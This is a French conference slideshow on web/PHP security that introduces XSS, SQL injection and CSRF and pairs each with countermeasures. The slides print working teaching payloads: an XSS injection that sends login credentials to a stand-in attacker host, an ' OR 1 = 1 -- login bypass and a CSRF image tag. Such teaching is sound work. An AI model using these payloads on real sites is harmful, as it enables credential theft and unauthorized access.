SlideShare une entreprise Scribd logo
1  sur  23
Télécharger pour lire hors ligne
Introduction à la Sécurité des 
             Applications Web / PHP
       Principes de bases   Maxime Mauchaussée
       XSS
       Injection SQL
                             maxime@wixiweb.fr
       CSRF
                             @maximemdotnet
                             http://www.wixiweb.fr
                             @wixiweb

                         
Plan
       Principes de bases de sécurisations
       Failles de type XSS
           Définition
           Exemples / Exploitation
           Contre­mesures
       Failles de type SQL Injection
           Définition
           Exemples / Exploitation
           Contre­mesures
       Failles de type CSRF
           Définition
           Exemples / Exploitation
           Contre­mesures
       Conclusion

                                
Principes de bases

       Ne jamais faire confiance aux données ne provenant pas de 
        votre propre code
           Paramètres d'URL, cookies, données de formulaire, etc.
           API, fichier d'import, base de données, etc.
           Variables d'environnement (user agent, referer, host, etc.)
       Éviter de permettre la saisie de balises HTML
           L'utilisation de la balise <img> doit être extrêmement encadrée
           Interdire l'utilisation des attributs dangereux tels que « style » et 
            « onload »
       Ne jamais minimiser l'importance d'une faille
           Toutes failles peut potentiellement être un jour exploitée
           Corriger le plus rapidement possible toute faille découverte



                                  
Failles de type XSS ­ Définition

       XSS : Cross Site Scripting

       Le principe est d'injecter des données arbitraires dans un 
        site web [...] Si ces données arrivent telles quelles dans la page 
        web transmise au navigateur sans avoir été vérifiées, alors il 
        existe une faille [Wikipedia]

       Injection de code HTML ou Javascript 

       Le contenu injecté est utilisé pour pièger un utilisateur



                             
Failles de type XSS – Exemple basique

       Exemple de site web banal :




                           
Failles de type XSS – Exemple basique

Fichier de vue PHP :
<form action="recherche.php" method="get">
<input type="text" name="q" value="<?php echo $_GET['q']; ?>" />
<input type="submit" value="recherche" />
</form>


Données saisies et envoyées au serveur :
"/><script type="text/javascript">alert('faille xss')</script><"


HTML compromis retourné par le serveur :
<input type="text" name="q" value=""/><script
type="text/javascript">alert('faille xss')</script><"" />




                        
Failles de type XSS – Exemple basique

       « PAF ! Pastèque ! » :




                            
Failles de type XSS – Exploitations

       Dégradation de l'image / la réputation du site

       Redirection automatique

       Initialisation de téléchargement de fichiers vérolés

       Vol d'identifiants

       Détournement de session (hijacking)

       Fixation de session


                               
Failles de type XSS – Exemples d'exploit

       Détournement de l'attribut « action » du formulaire 
        d'authentification par injection :

"/><script>document.forms[0].action='http://attaquant.fr/owned.php
';</script><"


       Les utilisateurs enverront leurs identifiants vers le scripts défini 
        par l'attaquant

       Possibilité de redirection (parfois transparente) vers la page 
        légitime


                              
Failles de type XSS – Contre­mesures

       Filtrer / nettoyer les données en entrée :
           Toute donnée a un format : longueur, bornes, etc.

           filter_var() ou filter_input()

           strip_tags() en second choix

           Ne pas autoriser la saisie de balises HTML

       Et en sortie :
           htmlspecialchars()




                                   
Failles de type SQL Injection ­ Définition

       Injection SQL

       Terme qui désigne l'interprétation imprévue d'un code SQL 
        dans une application. Ce code a été introduit par une voie 
        détournée. [CERTA]




                           
Failles de type SQL Injection – Exemple

       Bypass de l'authentification :




                             
Failles de type SQL Injection – Exemple

       Code PHP :
mysql_query("SELECT id, login, profil FROM user WHERE login = '" .
$_POST['login'] . "' AND password = '" . $_POST['password'] .
"';");

       Données saisies dans le champ « login » :
' OR 1 = 1 --

       Interpretation de la requête SQL par PHP :
SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --'
AND password = ''




                            
Failles de type SQL Injection ­ Exploitation

       Cette technique permet, [...] à un utilisateur malveillant de 
        modifier la base de données, ou accéder à des informations qui 
        ne lui sont pas destinées. [CERTA]

       Privilege escalation – augmentation de droit d'accès

       Vols de données

       Destruction de données

       Injection de code malveillant

                             
Failles de type SQL Injection – Contre­mesures

       addslashes()
SELECT id, login, profil FROM user WHERE login = '' OR 1 = 1 --'
AND password = ''


       mysql_real_escape_string()

       Requêtes préparées

       Requêtes préparées > mysql_real_escape_string > addslashes

       Ne pas utiliser le compte SQL « root » pour votre application


                            
Failles de type CSRF ­ Définition

       Cross­Site Request Forgery

       Injection de requêtes illégitimes par rebond [CERTA]

       Attaque provoquant l'envoi de requêtes par la victime, vers un 
        site vulnérable, à son insu et en son nom. [CERTA]

       N'exploite pas forcément l'absence de validation




                            
Failles de type CSRF – Exemple basique

       Système de commentaires :




                          
Failles de type CSRF – Exemple

       Un lien est fournit pour supprimer un de ses commentaires :
http://sitemalfichu.fr/delete_comment?id=2

       Prédiction de l'identifiant du commentaire de la victime par 
        l'attaquant :
http://sitemalfichu.fr/delete_comment?id=1


       Insertion d'une balise image dans un commentaire par 
        l'attaquant :
<img src="http://sitemalfichu.fr/delete_comment?id=1" />

        Au chargement de la page par la victime, elle supprime son 
        commentaire

                             
Failles de type CSRF – Exploitation

       Suppression de données : message, compte utilisateur, etc.

       Publication de messages : désinformation, spam, virus, etc.

       Changement de mot de passe

       Changement d'adresse email

       Triche à des concours ou sondages




                            
Failles de type CSRF – Contre­mesures

       Utiliser la méthode HTTP POST

       Bannir l'utilisation de $_REQUEST

       Mettre en place un système de tokens pour les actions les 
        plus sensibles

       Interdire la possibilité de saisie de balises HTML




                             
Conclusion

       Ne jamais faire confiance aux données ne provenant pas de 
        votre propre code

       Toute donnée a un format : longeur, bornes, volume, etc.

       Toujours filtrer / nettoyer ces données en entrée et en sortie

       Corriger les failles le plus rapidement possible

       La sécurité des applications web ne s'arrête pas là : 
        configuration de PHP, du serveur web, de l'infrastructure 
        réseau, etc. 
                             
Questions ­ Réponses

       Exemples de questions si vous n'avez pas d'idée :

           Comment détecter de telles failles dans mon application ?

           Pouvez­vous citer d'autres exemples d'attaques XSS / CSRF ?

           Quelles autres bonne pratiques peut on appliquer pour sécuriser des 
            application web ?

           Qu'est ce qu'une « blind sql injection » ?

           Où trouvez des informations complémentaires à ce sujet ?

           Existe­t­il d'autres types de failles ?


                                  
Merci de votre attention :)

       Contact :
           maxime@wixiweb.fr
           https://twitter.com/maximemdotnet
           https://identi.ca/maximemdotnet
           http://www.wixiweb.fr/




                                

Contenu connexe

Tendances

Presentation des failles_de_securite
Presentation des failles_de_securitePresentation des failles_de_securite
Presentation des failles_de_securiteBorni Dhifi
 
Sécurité des web services soap
Sécurité des web services soapSécurité des web services soap
Sécurité des web services soapZakaria SMAHI
 
Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebCyrille Grandval
 
Les principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesLes principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesXavier Kress
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications WebSylvain Maret
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicativesBee_Ware
 
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilCyber Security Alliance
 
Sécurisation des Web Services SOAP contre les attaques par injection par la m...
Sécurisation des Web Services SOAP contre les attaques par injection par la m...Sécurisation des Web Services SOAP contre les attaques par injection par la m...
Sécurisation des Web Services SOAP contre les attaques par injection par la m...Zakaria SMAHI
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonSébastien GIORIA
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouseSébastien GIORIA
 
Sécurisation des services WCF avec WS-Security
Sécurisation des services WCF avec WS-SecuritySécurisation des services WCF avec WS-Security
Sécurisation des services WCF avec WS-SecuritySlimen Belhaj Ali
 
Les firewalls applicatifs HTTP / WAF
Les firewalls applicatifs HTTP / WAFLes firewalls applicatifs HTTP / WAF
Les firewalls applicatifs HTTP / WAFSylvain Maret
 
Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration Bee_Ware
 

Tendances (19)

Failles de sécurité
Failles de sécuritéFailles de sécurité
Failles de sécurité
 
Presentation des failles_de_securite
Presentation des failles_de_securitePresentation des failles_de_securite
Presentation des failles_de_securite
 
Sécurité des web services soap
Sécurité des web services soapSécurité des web services soap
Sécurité des web services soap
 
Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative Web
 
Les principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuellesLes principales failles de sécurité des applications Web actuelles
Les principales failles de sécurité des applications Web actuelles
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications Web
 
ReST API Security
ReST API SecurityReST API Security
ReST API Security
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicatives
 
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan MarcilASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
ASFWS 2012 - Les utilités d’un pare-feu applicatif Web (WAF) par Jonathan Marcil
 
Securite web is_ima
Securite web is_imaSecurite web is_ima
Securite web is_ima
 
Sécurisation des Web Services SOAP contre les attaques par injection par la m...
Sécurisation des Web Services SOAP contre les attaques par injection par la m...Sécurisation des Web Services SOAP contre les attaques par injection par la m...
Sécurisation des Web Services SOAP contre les attaques par injection par la m...
 
Sécurité des applications web
Sécurité des applications webSécurité des applications web
Sécurité des applications web
 
Présentation Top10 CEGID Lyon
Présentation Top10 CEGID LyonPrésentation Top10 CEGID Lyon
Présentation Top10 CEGID Lyon
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
Sécurisation des services WCF avec WS-Security
Sécurisation des services WCF avec WS-SecuritySécurisation des services WCF avec WS-Security
Sécurisation des services WCF avec WS-Security
 
Introduction XSS
Introduction XSSIntroduction XSS
Introduction XSS
 
Les firewalls applicatifs HTTP / WAF
Les firewalls applicatifs HTTP / WAFLes firewalls applicatifs HTTP / WAF
Les firewalls applicatifs HTTP / WAF
 
Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration
 
La Sécurité Sur Le Web
La Sécurité Sur Le WebLa Sécurité Sur Le Web
La Sécurité Sur Le Web
 

En vedette

Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]Wixiweb
 
TRABAJO DE IMFORMATICA
TRABAJO DE IMFORMATICATRABAJO DE IMFORMATICA
TRABAJO DE IMFORMATICAcelina72
 
Identificación y evaluaciòn de riesgos
Identificación y evaluaciòn de riesgosIdentificación y evaluaciòn de riesgos
Identificación y evaluaciòn de riesgosumbrahg
 
Desierto de-atacama-100171
Desierto de-atacama-100171Desierto de-atacama-100171
Desierto de-atacama-100171ciroelgrosso
 
Tiempos Simples
Tiempos SimplesTiempos Simples
Tiempos Simplesamable2409
 
Nuestro diseño de casa
Nuestro diseño de casaNuestro diseño de casa
Nuestro diseño de casaLauraOrtiiz_10
 
Portafolio de evidencias
Portafolio de evidenciasPortafolio de evidencias
Portafolio de evidenciasPAMGERIS
 
16 j1+16j2+1791+1792 spanish
16 j1+16j2+1791+1792 spanish16 j1+16j2+1791+1792 spanish
16 j1+16j2+1791+1792 spanishjrgepc
 
Desierto de-atacama-100171
Desierto de-atacama-100171Desierto de-atacama-100171
Desierto de-atacama-100171ciroelgrosso
 
Steve hanks aquarelles-cht
Steve hanks aquarelles-chtSteve hanks aquarelles-cht
Steve hanks aquarelles-chtDominique Pongi
 
La recherche scientifique au service de l’expérience utilisateur : retour sur...
La recherche scientifique au service de l’expérience utilisateur : retour sur...La recherche scientifique au service de l’expérience utilisateur : retour sur...
La recherche scientifique au service de l’expérience utilisateur : retour sur...Caféine.Studio
 
Secuencia didáctica 3
Secuencia didáctica 3Secuencia didáctica 3
Secuencia didáctica 3Luisa Arias
 
Relleus i plens volums 3rs
Relleus i plens volums 3rsRelleus i plens volums 3rs
Relleus i plens volums 3rsralba3
 
Fases de la administración publica de sistemas
Fases de la administración publica de sistemasFases de la administración publica de sistemas
Fases de la administración publica de sistemasDavid Ramón Rivero Colina
 

En vedette (20)

Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]
 
Réseaux de neurones
Réseaux de neurones Réseaux de neurones
Réseaux de neurones
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
TRABAJO DE IMFORMATICA
TRABAJO DE IMFORMATICATRABAJO DE IMFORMATICA
TRABAJO DE IMFORMATICA
 
Identificación y evaluaciòn de riesgos
Identificación y evaluaciòn de riesgosIdentificación y evaluaciòn de riesgos
Identificación y evaluaciòn de riesgos
 
Climas region occidental sociales
Climas region occidental sociales Climas region occidental sociales
Climas region occidental sociales
 
Desierto de-atacama-100171
Desierto de-atacama-100171Desierto de-atacama-100171
Desierto de-atacama-100171
 
Tiempos Simples
Tiempos SimplesTiempos Simples
Tiempos Simples
 
Practica pedagogica prepara
Practica pedagogica preparaPractica pedagogica prepara
Practica pedagogica prepara
 
Nuestro diseño de casa
Nuestro diseño de casaNuestro diseño de casa
Nuestro diseño de casa
 
Portafolio de evidencias
Portafolio de evidenciasPortafolio de evidencias
Portafolio de evidencias
 
16 j1+16j2+1791+1792 spanish
16 j1+16j2+1791+1792 spanish16 j1+16j2+1791+1792 spanish
16 j1+16j2+1791+1792 spanish
 
Desierto de-atacama-100171
Desierto de-atacama-100171Desierto de-atacama-100171
Desierto de-atacama-100171
 
Steve hanks aquarelles-cht
Steve hanks aquarelles-chtSteve hanks aquarelles-cht
Steve hanks aquarelles-cht
 
La recherche scientifique au service de l’expérience utilisateur : retour sur...
La recherche scientifique au service de l’expérience utilisateur : retour sur...La recherche scientifique au service de l’expérience utilisateur : retour sur...
La recherche scientifique au service de l’expérience utilisateur : retour sur...
 
Excel caro (1)
Excel caro (1)Excel caro (1)
Excel caro (1)
 
Secuencia didáctica 3
Secuencia didáctica 3Secuencia didáctica 3
Secuencia didáctica 3
 
Relleus i plens volums 3rs
Relleus i plens volums 3rsRelleus i plens volums 3rs
Relleus i plens volums 3rs
 
LAS TICS
LAS TICSLAS TICS
LAS TICS
 
Fases de la administración publica de sistemas
Fases de la administración publica de sistemasFases de la administración publica de sistemas
Fases de la administración publica de sistemas
 

Similaire à Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée

Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications webMarcel TCHOULEGHEU
 
Failles de sécurité Web et Symfony
Failles de sécurité Web et SymfonyFailles de sécurité Web et Symfony
Failles de sécurité Web et SymfonyChamalaine Soufi
 
Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1Tarek MOHAMED
 
Epitech securite-2012.key
Epitech securite-2012.keyEpitech securite-2012.key
Epitech securite-2012.keyDamien Seguy
 
20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatifLeClubQualiteLogicielle
 
Tuto atelier securisation_site_web
Tuto atelier securisation_site_webTuto atelier securisation_site_web
Tuto atelier securisation_site_websahar dridi
 
Attaques Informatiques
Attaques InformatiquesAttaques Informatiques
Attaques InformatiquesSylvain Maret
 
Introduction à La Sécurité Informatique 1/2
Introduction à La Sécurité Informatique 1/2Introduction à La Sécurité Informatique 1/2
Introduction à La Sécurité Informatique 1/2Sylvain Maret
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Aymeric Lagier
 
Les principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuellesLes principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuellesBee_Ware
 
ASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APTASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APTCyber Security Alliance
 
Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2Sylvain Maret
 
Bonnes pratiques anti-DDOS
Bonnes pratiques anti-DDOSBonnes pratiques anti-DDOS
Bonnes pratiques anti-DDOSJulien SIMON
 
Wbm12 formation-webmaster-expert-securite-des-applications-web
Wbm12 formation-webmaster-expert-securite-des-applications-webWbm12 formation-webmaster-expert-securite-des-applications-web
Wbm12 formation-webmaster-expert-securite-des-applications-webCERTyou Formation
 
14.4 tout ce que vous voulez savoir sur l'authentification par revendications
14.4   tout ce que vous voulez savoir sur l'authentification par revendications14.4   tout ce que vous voulez savoir sur l'authentification par revendications
14.4 tout ce que vous voulez savoir sur l'authentification par revendicationsNicolas Georgeault
 
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...Philippe Beraud
 

Similaire à Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée (20)

Sécurité des Applications Web avec Json Web Token (JWT)
Sécurité des Applications Web avec Json Web Token (JWT)Sécurité des Applications Web avec Json Web Token (JWT)
Sécurité des Applications Web avec Json Web Token (JWT)
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications web
 
Failles de sécurité Web et Symfony
Failles de sécurité Web et SymfonyFailles de sécurité Web et Symfony
Failles de sécurité Web et Symfony
 
Sécurité des Applications WEB -LEVEL1
 Sécurité des Applications WEB-LEVEL1 Sécurité des Applications WEB-LEVEL1
Sécurité des Applications WEB -LEVEL1
 
Epitech securite-2012.key
Epitech securite-2012.keyEpitech securite-2012.key
Epitech securite-2012.key
 
20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif
 
Tuto atelier securisation_site_web
Tuto atelier securisation_site_webTuto atelier securisation_site_web
Tuto atelier securisation_site_web
 
Sécuriser un cms
Sécuriser un cms Sécuriser un cms
Sécuriser un cms
 
Attaques Informatiques
Attaques InformatiquesAttaques Informatiques
Attaques Informatiques
 
Introduction à La Sécurité Informatique 1/2
Introduction à La Sécurité Informatique 1/2Introduction à La Sécurité Informatique 1/2
Introduction à La Sécurité Informatique 1/2
 
Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)Secure Software Development Life Cycle (SSDLC)
Secure Software Development Life Cycle (SSDLC)
 
Les principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuellesLes principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuelles
 
OWASP TOP 10 Proactive
OWASP TOP 10 ProactiveOWASP TOP 10 Proactive
OWASP TOP 10 Proactive
 
ASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APTASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APT
 
Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2Introduction à La Sécurité Informatique 2/2
Introduction à La Sécurité Informatique 2/2
 
Bonnes pratiques anti-DDOS
Bonnes pratiques anti-DDOSBonnes pratiques anti-DDOS
Bonnes pratiques anti-DDOS
 
Wbm12 formation-webmaster-expert-securite-des-applications-web
Wbm12 formation-webmaster-expert-securite-des-applications-webWbm12 formation-webmaster-expert-securite-des-applications-web
Wbm12 formation-webmaster-expert-securite-des-applications-web
 
14.4 tout ce que vous voulez savoir sur l'authentification par revendications
14.4   tout ce que vous voulez savoir sur l'authentification par revendications14.4   tout ce que vous voulez savoir sur l'authentification par revendications
14.4 tout ce que vous voulez savoir sur l'authentification par revendications
 
SSL strip
SSL stripSSL strip
SSL strip
 
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
Vous avez dit protocoles Web d'authentification et d'autorisation ! De quoi p...
 

Plus de Normandie Web Xperts

#nwxtech9 Rudy Baer et Kevin Vézier - Ansible, l’outil du sysadmin paresseux ...
#nwxtech9 Rudy Baer et Kevin Vézier - Ansible, l’outil du sysadmin paresseux ...#nwxtech9 Rudy Baer et Kevin Vézier - Ansible, l’outil du sysadmin paresseux ...
#nwxtech9 Rudy Baer et Kevin Vézier - Ansible, l’outil du sysadmin paresseux ...Normandie Web Xperts
 
#nwxtech7 Grégory Le Garec - HTML5 Offline
#nwxtech7 Grégory Le Garec - HTML5 Offline#nwxtech7 Grégory Le Garec - HTML5 Offline
#nwxtech7 Grégory Le Garec - HTML5 OfflineNormandie Web Xperts
 
#nwxtech6 Olivier Martineau - Les démons en PHP
#nwxtech6 Olivier Martineau - Les démons en PHP#nwxtech6 Olivier Martineau - Les démons en PHP
#nwxtech6 Olivier Martineau - Les démons en PHPNormandie Web Xperts
 
#nwxtech6 Mickaël Deffontaine - Drupal API Form
#nwxtech6 Mickaël Deffontaine - Drupal API Form#nwxtech6 Mickaël Deffontaine - Drupal API Form
#nwxtech6 Mickaël Deffontaine - Drupal API FormNormandie Web Xperts
 
#nwxtech6 Frédéric Bisson - SVG pour le web
#nwxtech6 Frédéric Bisson - SVG pour le web#nwxtech6 Frédéric Bisson - SVG pour le web
#nwxtech6 Frédéric Bisson - SVG pour le webNormandie Web Xperts
 
#nwxtech6 Frédéric Bisson - SVG pour le web
#nwxtech6 Frédéric Bisson - SVG pour le web#nwxtech6 Frédéric Bisson - SVG pour le web
#nwxtech6 Frédéric Bisson - SVG pour le webNormandie Web Xperts
 
Julien Nicolas - Comment coucher avec son intégrateur en 5 étapes - #nwxwd
Julien Nicolas - Comment coucher avec son intégrateur en 5 étapes - #nwxwdJulien Nicolas - Comment coucher avec son intégrateur en 5 étapes - #nwxwd
Julien Nicolas - Comment coucher avec son intégrateur en 5 étapes - #nwxwdNormandie Web Xperts
 
Julien Verhaeghe - API REST : Le module Services de Drupal - Drupal Meetup Ro...
Julien Verhaeghe - API REST : Le module Services de Drupal - Drupal Meetup Ro...Julien Verhaeghe - API REST : Le module Services de Drupal - Drupal Meetup Ro...
Julien Verhaeghe - API REST : Le module Services de Drupal - Drupal Meetup Ro...Normandie Web Xperts
 
Frédéric Bisson - 8 ans de Drupal - Drupal Meetup Rouen #3
Frédéric Bisson - 8 ans de Drupal - Drupal Meetup Rouen #3Frédéric Bisson - 8 ans de Drupal - Drupal Meetup Rouen #3
Frédéric Bisson - 8 ans de Drupal - Drupal Meetup Rouen #3Normandie Web Xperts
 
Conférence #nwx2014 - Nicolas Saillard - Agilité en SSII
Conférence #nwx2014 - Nicolas Saillard - Agilité en SSIIConférence #nwx2014 - Nicolas Saillard - Agilité en SSII
Conférence #nwx2014 - Nicolas Saillard - Agilité en SSIINormandie Web Xperts
 
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...Normandie Web Xperts
 
Conférence #nwx2014 - Ivan Dalmet - Ergonomie web, les bases pour tous
Conférence #nwx2014 - Ivan Dalmet - Ergonomie web, les bases pour tousConférence #nwx2014 - Ivan Dalmet - Ergonomie web, les bases pour tous
Conférence #nwx2014 - Ivan Dalmet - Ergonomie web, les bases pour tousNormandie Web Xperts
 
Conférence #nwx2014 - Thibaud Juin - Varnish, accélérateur web
Conférence #nwx2014 - Thibaud Juin - Varnish, accélérateur webConférence #nwx2014 - Thibaud Juin - Varnish, accélérateur web
Conférence #nwx2014 - Thibaud Juin - Varnish, accélérateur webNormandie Web Xperts
 
Conférence #nwxtech5 : Présentation du hacker space Jeanne d'Hack par Samir C...
Conférence #nwxtech5 : Présentation du hacker space Jeanne d'Hack par Samir C...Conférence #nwxtech5 : Présentation du hacker space Jeanne d'Hack par Samir C...
Conférence #nwxtech5 : Présentation du hacker space Jeanne d'Hack par Samir C...Normandie Web Xperts
 
Conférence #nwxtech5 : HTML5 Mobile avec Sencha Touch par Arnaud lemercier
Conférence #nwxtech5 : HTML5 Mobile avec Sencha Touch par Arnaud lemercierConférence #nwxtech5 : HTML5 Mobile avec Sencha Touch par Arnaud lemercier
Conférence #nwxtech5 : HTML5 Mobile avec Sencha Touch par Arnaud lemercierNormandie Web Xperts
 
Conférence #nwxtech5 : Drupal et OpenLayers par Frédéric Bisson
Conférence #nwxtech5 : Drupal et OpenLayers par Frédéric BissonConférence #nwxtech5 : Drupal et OpenLayers par Frédéric Bisson
Conférence #nwxtech5 : Drupal et OpenLayers par Frédéric BissonNormandie Web Xperts
 
Conférence #nwxtech5 : Django, du framework pour les perfectionnistes au pony...
Conférence #nwxtech5 : Django, du framework pour les perfectionnistes au pony...Conférence #nwxtech5 : Django, du framework pour les perfectionnistes au pony...
Conférence #nwxtech5 : Django, du framework pour les perfectionnistes au pony...Normandie Web Xperts
 
Conférence #nwxtech5 : Introduction à Backbone.js par Hugo Larcher
Conférence #nwxtech5 : Introduction à Backbone.js par Hugo LarcherConférence #nwxtech5 : Introduction à Backbone.js par Hugo Larcher
Conférence #nwxtech5 : Introduction à Backbone.js par Hugo LarcherNormandie Web Xperts
 
Conférence #nwxtech5 : Selenium WebDriver 2 par Romain Louvet
Conférence #nwxtech5 : Selenium WebDriver 2 par Romain LouvetConférence #nwxtech5 : Selenium WebDriver 2 par Romain Louvet
Conférence #nwxtech5 : Selenium WebDriver 2 par Romain LouvetNormandie Web Xperts
 

Plus de Normandie Web Xperts (20)

#nwxtech9 Rudy Baer et Kevin Vézier - Ansible, l’outil du sysadmin paresseux ...
#nwxtech9 Rudy Baer et Kevin Vézier - Ansible, l’outil du sysadmin paresseux ...#nwxtech9 Rudy Baer et Kevin Vézier - Ansible, l’outil du sysadmin paresseux ...
#nwxtech9 Rudy Baer et Kevin Vézier - Ansible, l’outil du sysadmin paresseux ...
 
#nwxtech7 Grégory Le Garec - HTML5 Offline
#nwxtech7 Grégory Le Garec - HTML5 Offline#nwxtech7 Grégory Le Garec - HTML5 Offline
#nwxtech7 Grégory Le Garec - HTML5 Offline
 
#nwxtech6 Olivier Martineau - Les démons en PHP
#nwxtech6 Olivier Martineau - Les démons en PHP#nwxtech6 Olivier Martineau - Les démons en PHP
#nwxtech6 Olivier Martineau - Les démons en PHP
 
#nwxtech6 Mickaël Deffontaine - Drupal API Form
#nwxtech6 Mickaël Deffontaine - Drupal API Form#nwxtech6 Mickaël Deffontaine - Drupal API Form
#nwxtech6 Mickaël Deffontaine - Drupal API Form
 
#nwxtech6 Frédéric Bisson - SVG pour le web
#nwxtech6 Frédéric Bisson - SVG pour le web#nwxtech6 Frédéric Bisson - SVG pour le web
#nwxtech6 Frédéric Bisson - SVG pour le web
 
#nwxtech6 Frédéric Bisson - SVG pour le web
#nwxtech6 Frédéric Bisson - SVG pour le web#nwxtech6 Frédéric Bisson - SVG pour le web
#nwxtech6 Frédéric Bisson - SVG pour le web
 
FlexRox
FlexRoxFlexRox
FlexRox
 
Julien Nicolas - Comment coucher avec son intégrateur en 5 étapes - #nwxwd
Julien Nicolas - Comment coucher avec son intégrateur en 5 étapes - #nwxwdJulien Nicolas - Comment coucher avec son intégrateur en 5 étapes - #nwxwd
Julien Nicolas - Comment coucher avec son intégrateur en 5 étapes - #nwxwd
 
Julien Verhaeghe - API REST : Le module Services de Drupal - Drupal Meetup Ro...
Julien Verhaeghe - API REST : Le module Services de Drupal - Drupal Meetup Ro...Julien Verhaeghe - API REST : Le module Services de Drupal - Drupal Meetup Ro...
Julien Verhaeghe - API REST : Le module Services de Drupal - Drupal Meetup Ro...
 
Frédéric Bisson - 8 ans de Drupal - Drupal Meetup Rouen #3
Frédéric Bisson - 8 ans de Drupal - Drupal Meetup Rouen #3Frédéric Bisson - 8 ans de Drupal - Drupal Meetup Rouen #3
Frédéric Bisson - 8 ans de Drupal - Drupal Meetup Rouen #3
 
Conférence #nwx2014 - Nicolas Saillard - Agilité en SSII
Conférence #nwx2014 - Nicolas Saillard - Agilité en SSIIConférence #nwx2014 - Nicolas Saillard - Agilité en SSII
Conférence #nwx2014 - Nicolas Saillard - Agilité en SSII
 
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
Conférence #nwx2014 - Maxime Mauchaussée - Partager du code maintenable et év...
 
Conférence #nwx2014 - Ivan Dalmet - Ergonomie web, les bases pour tous
